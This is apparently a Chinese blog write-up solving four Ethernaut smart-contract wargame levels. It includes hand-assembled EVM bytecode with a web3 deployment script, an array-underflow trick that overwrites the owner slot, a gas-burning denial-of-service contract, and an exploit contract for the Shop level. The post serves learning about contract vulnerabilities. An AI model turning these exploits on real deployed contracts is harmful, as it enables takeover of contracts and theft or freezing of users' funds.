前言

久违地想做智能合约的题目了,正好 Ethernaut 上还有几题没做的,就特地在博客里码一下~~

MagicNumber

手动构造智能合约,具体参考了 Ethernaut Lvl 19 MagicNumber Walkthrough: How to deploy contracts using raw assembly opcodes

这里需要明确的知识点如下:

合约 bytcode

简单说,合约 bytecode 可以分为如下三个部分:部署代码、合约代码、以及用于验证的 Auxdata,在合约创建时运行的是部署代码,在合约创建成功后,运行的是合约代码。

// 部署代码
60606040523415600e57600080fd5b5b603680601c6000396000f300
// 合约代码
60606040525b600080fd00
// Auxdata
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029

本题的限制是,合约代码长度不能超过 10,而且函数必须返回 42,这就需要我们手动构造合约 bytecode。

合约代码部分构造如下:

602a    // v: push1 0x2a (value is 42)
6080    // p: push1 0x80 (memory slot is 0x80)
52      // mstore
6020    // s: push1 0x20 (value is 32 bytes in size)
6080    // p: push1 0x80 (value was stored in slot 0x80)
f3      // return

部署代码构建如下:

600a    // s: push1 0x0a (10 bytes)
600c    // f: push1 0x0c (current position of runtime opcodes)
6000    // t: push1 0x00 (destination memory index 0)
39      // CODECOPY
600a    // s: push1 0x0a (runtime opcode length)
6000    // p: push1 0x00 (access memory index 0)
f3      // return to EVM

最终合约创建构造如下:

from web3 import Web3

my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/xxxxxxxxxxxxxxxxxxx")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)

myaddress = ""
myprivkey = ""

def makeTransaction(args):
    obj = {
        'gasPrice': Web3.toWei(1, 'gwei'),
        'gas':300000,
        'value': int(0)
    }
    return {**obj, **args}

def getNonce(address):
    return w3.eth.getTransactionCount(Web3.toChecksumAddress(address))

def main():
    txns = makeTransaction({'code': '0x600a600c600039600a6000f3602a60805260206080f3', 'nonce': getNonce(myaddress)})
    signedTransaction = w3.eth.account.signTransaction(txns, myprivkey)
    w3.eth.sendRawTransaction(signedTransaction.rawTransaction)

if __name__ == "__main__":
    main()

Alien Codex

两个 trick,首先是 bypass 数组长度的限制:assert(_firstContactMessage.length > 2**200);,其次是通过数组的越界写,对 owner 变量进行修改。

通过阅读 https://solidity.readthedocs.io/en/v0.4.21/abi-spec.html,可以发现参数的数组,其长度其实是在 transaction 中的 data 决定的:

0x1d3d4c0b                                                       // function signature
0000000000000000000000000000000000000000000000000000000000000020 // offset
1000000000000000000000000000000000000000000000000000000000000001 // length

第二个考点是数组的越界写,类似 capturetheether 上的 mapping,我们需要控制向 codex 写的方式覆盖 owner 变量。首先第一步是调用 retract() 函数让数组长度下溢。第二步时计算 owner 变量在数组中的位置,具体计算规则为 2**256 - sha3(bytes(1)),得到 owner 对应 solt 0 的索引是 35707666377435648211887908874984608119992236509074197713628505308453184860938,调用 revise 即可得到结果。

Denail

题目的意思是禁止 owner 分走相应的余额,所以要求执行失败,本题的考点就是 Denail of Service.

很明显可以利用 assert 会消耗所有 gas 的特性来达成该条件(当然也可以考虑重入攻击)。

contract DenialAttack {   
    function() payable {
        assert(0 == 1);
    }
}

Shop

对 gas 的消耗有限制,所以不能通过 storage 变量的方式进行判断,但恰好 isSold 恰好可以代替用于判断的 storage 变量,所以构造 payload 如下:

contract Attack is Buyer {
    Shop public i;
    
    constructor(address _addr) public {
        i = Shop(_addr);
    }
    
    function price() view returns(uint) {
        return i.isSold() ? 0 : 100;
    }
    
    function hack() {
        i.buy();
    }
}

其他

之前把前几题的解答投到先知上了 从 Ethernaut 看以太坊智能合约漏洞(一),剩下的可以参考 Zeppelin ethernaut writeup 或者 Zeppelin Ethernaut writeup

总结

拖了半年才做完这些题目,好生颓废。